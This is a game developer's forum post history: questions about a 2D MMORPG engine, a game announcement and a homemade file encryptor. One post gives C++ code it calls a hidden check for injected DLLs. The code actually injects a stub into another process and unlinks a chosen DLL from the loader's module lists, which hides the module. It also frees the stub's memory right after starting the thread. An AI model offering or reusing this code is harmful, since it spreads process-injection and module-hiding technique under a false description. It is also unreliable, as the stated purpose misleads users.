alextoti99
Members-
Posts
155 -
Joined
-
Last visited
-
Days Won
2
Content Type
Profiles
Forums
Downloads
Everything posted by alextoti99
-
im already developing a 3d mmorpg
-
ah ok thank you, i just got free time and wanted to help
-
1 last question, is it possible ot help with the main development?
-
i mean how many times a char has killed other chars no monsters when will the source be out?
-
Hello all! im new to to these forum and to 2D games. Im a c++ developer, while i know java too. Ive started a project with this engine, while im getting rdy another 3d mmorpg with UE4 and a lineage 2 server
-
thx Edited main post with new fotos
- 35 replies
-
- mmorpg
- isolated paradise
-
(and 1 more)
Tagged with:
-
Is there any way to add a pvp count system or should i wait for the source?
-
thx for the help
-
how do i get access? because the 1st account ive created just used the editor
-
How can i protect the map from others editing it? because anyone can find easily the editor
-
yeah i set a conditional to die and when he dies he teleports at the location i set and then at the location the player starts
-
1: How can i change the respawn location? 2: How can i make an event running everytime? for example ive created an event that checks if the player is alive and warp the player at a location, but not working, trigger is none Also about the 2nd i think if when the player dies then the event teleports at a location and then the game engine teleports him back
-
that would be nice edit: i cant send a message
- 35 replies
-
- mmorpg
- isolated paradise
-
(and 1 more)
Tagged with:
-
Ive found a useful app because many sprites arent in the appropriate size and it takes time to resize many files so you can now use the foto resizer: http://www.bricelam.net/ImageResizer/
-
Here is a code that checks if there are injected dlls in your program. Its hidden, nth wont pop up when you use it! To edit it: CloakDll("notepad.exe", "kernel32.dll"); CloakDll("notepad.exe", "kernel32.dll"); edit the notepad.exe to your game name and kernel32.dll to the dll you wanna check also you can add more CloakDll wiht other dlls so it will be checking for all the dlls you know #define _CRT_NONSTDC_NO_WARNINGS #include <windows.h> #include <winnt.h> #include <tlhelp32.h> #include <shlwapi.h> #pragma comment(lib, "shlwapi.lib") #define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A' #define UNLINK(x) (x).Blink->Flink = (x).Flink; \ (x).Flink->Blink = (x).Blink; #pragma pack(push, 1) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _ModuleInfoNode { LIST_ENTRY LoadOrder; LIST_ENTRY InitOrder; LIST_ENTRY MemoryOrder; HMODULE baseAddress; // Base address AKA module handle unsigned long entryPoint; unsigned int size; // Size of the modules image UNICODE_STRING fullPath; UNICODE_STRING name; unsigned long flags; unsigned short LoadCount; unsigned short TlsIndex; LIST_ENTRY HashTable; // A linked list of any other modules that have the same first letter unsigned long timestamp; } ModuleInfoNode, *pModuleInfoNode; typedef struct _ProcessModuleInfo { unsigned int size; // Size of a ModuleInfo node? unsigned int initialized; HANDLE SsHandle; LIST_ENTRY LoadOrder; LIST_ENTRY InitOrder; LIST_ENTRY MemoryOrder; } ProcessModuleInfo, *pProcessModuleInfo; #pragma pack(pop) bool CloakDll_stub(HMODULE); void CD_stubend(); bool CloakDll(char *, char *); unsigned long GetProcessIdFromProcname(char *); HMODULE GetRemoteModuleHandle(unsigned long, char *); int _stdcall wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow) { CloakDll("notepad.exe", "kernel32.dll"); return 0; } bool CloakDll(char *process, char *dllName) { PathStripPath(dllName); unsigned long procId; procId = GetProcessIdFromProcname(process); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId); // Calculate the length of the stub by subtracting it's address // from the beginning of the function directly ahead of it. // // NOTE: If the compiler compiles the functions in a different // order than they appear in the code, this will not work as // it's supposed to. However, most compilers won't do that. unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub; // Allocate space for the CloakDll_stub function void *stubAddress = VirtualAllocEx(hProcess, NULL, stubLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Write the stub's code to the page we allocated for it WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL); HMODULE hMod = GetRemoteModuleHandle(procId, dllName); // Create a thread in the remote process to execute our code CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL); // Clean up after ourselves, so as to leave as little impact as possible // on the remote process VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE); return true; } bool CloakDll_stub(HMODULE hMod) { ProcessModuleInfo *pmInfo; ModuleInfoNode *module; _asm { mov eax, fs:[18h] // TEB mov eax, [eax + 30h] // PEB mov eax, [eax + 0Ch] // PROCESS_MODULE_INFO mov pmInfo, eax } module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink); while (module->baseAddress && module->baseAddress != hMod) module = (ModuleInfoNode *)(module->LoadOrder.Flink); if (!module->baseAddress) return false; // Remove the module entry from the list here /////////////////////////////////////////////////// // Unlink from the load order list UNLINK(module->LoadOrder); // Unlink from the init order list UNLINK(module->InitOrder); // Unlink from the memory order list UNLINK(module->MemoryOrder); // Unlink from the hash table UNLINK(module->HashTable); // Erase all traces that it was ever there /////////////////////////////////////////////////// // This code will pretty much always be optimized into a rep stosb/stosd pair // so it shouldn't cause problems for relocation. // Zero out the module name memset(module->fullPath.Buffer, 0, module->fullPath.Length); // Zero out the memory of this module's node memset(module, 0, sizeof(ModuleInfoNode)); return true; } __declspec(naked) void CD_stubend() { } unsigned long GetProcessIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot; BOOL retval, ProcFound = false; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while (retval) { if (StrStrI(pe.szExeFile, procName)) { ProcFound = true; break; } retval = Process32Next(thSnapshot, &pe); pe.dwSize = sizeof(PROCESSENTRY32); } return pe.th32ProcessID; } HMODULE GetRemoteModuleHandle(unsigned long pId, char *module) { MODULEENTRY32 modEntry; HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId); modEntry.dwSize = sizeof(MODULEENTRY32); Module32First(tlh, &modEntry); do { if (!stricmp(modEntry.szModule, module)) return modEntry.hModule; modEntry.dwSize = sizeof(MODULEENTRY32); } while (Module32Next(tlh, &modEntry)); return NULL; }
-
ive changed a lot things, either way im creating like it, because i like this style also ill post the new fotos the sooner
- 35 replies
-
- mmorpg
- isolated paradise
-
(and 1 more)
Tagged with:
-
the exryptor/decryptor shuld be in the same folder with file , so you wont have to add the path. to encrypt a file you should write just at the path filename.filetype (for example file.txt) and to decrypt just choose from the 2 i have (doc,txt) and just type the file name the file type is ready, also it can be implemented in source so it will encrypt and decrypt files automatically
-
was the path uve set ok? better have the files in the same folder with the exe
-
either way ive uploaded source code
-
thank you ill be updating post
- 35 replies
-
- mmorpg
- isolated paradise
-
(and 1 more)
Tagged with:
-
anyway you can check your self if its containing any viruses: http://www.ascensiongamedev.com/resources/filehost/89432bdcfb709977a048dd30d0ac80ec.rar the source is inside the zip, you just should create a c++ concol project
-
Hello I present you my upcoming indie 2D MMORPG Isolated Paradise. So far there isn't much information, as the game's alpha will start soon. The games website is: http://www.ghostwiregames.com/ Game Story: Class System: When starting the game the players can choose between two (2) classes (Fightet and Mage). Then the game starts. Although, there are only two classes that a player can choose, then he has to buy his skills (books) in order to fix their class in the way he/she likes. Example: I start with fighter and then i buy mostly ranged/bow skills or with mage i buy more fire skills. Skills until now: Mage: Fighter: Both Classes: Dungeon System: In the game's world there are many dungeons, some are freely open, others need keys or an item to have or to consume in order to enter, others are party only, while others open randomly on enter for every player (a message will be sent to the player on enter about the open dungeon. Misc Information: When the game starts ventrillo client will open. Also players cant disconnect from the game if they aren't in a safe zone. In the game there are wood cutting and mining and craft system. The game will have an open world. Items until now: There are many NPCs, some of the mare bosses, others are monsters, while others are shop keepers quest givers or mere NPCs. Finally, the game accounts are protected with a custom crypt system. Some game fotos: http://imgur.com/a/4tANL Support the project: https://www.paypal.me/AlexandrosTitonis
- 35 replies
-
- mmorpg
- isolated paradise
-
(and 1 more)
Tagged with:
-
yeah sry my bad, ive rly forgotten about antivirus check here you are a virus total check: https://www.virustotal.com/en/url/eb288905e3b3604d85c4e142a4971e72675cfa6bc9251051e1f493cb30b8a9b6/analysis/1495025594/
-
Hello all, lately ive been learning c++ and create a file encryptor and decryptor, now works for txt and docs, ofc you can use it for others, but u should change the file type when done alone! Download Link: http://www.mediafire.com/file/yttqaceicks4bqx/Decrypter+And+Encrypter.rar If anyone needs the source feel free to pm me. Waiting for feedback Later i may create a tutorial to add it in client so it will encrypt files on close and decrypt on open to avoid stealing staff.
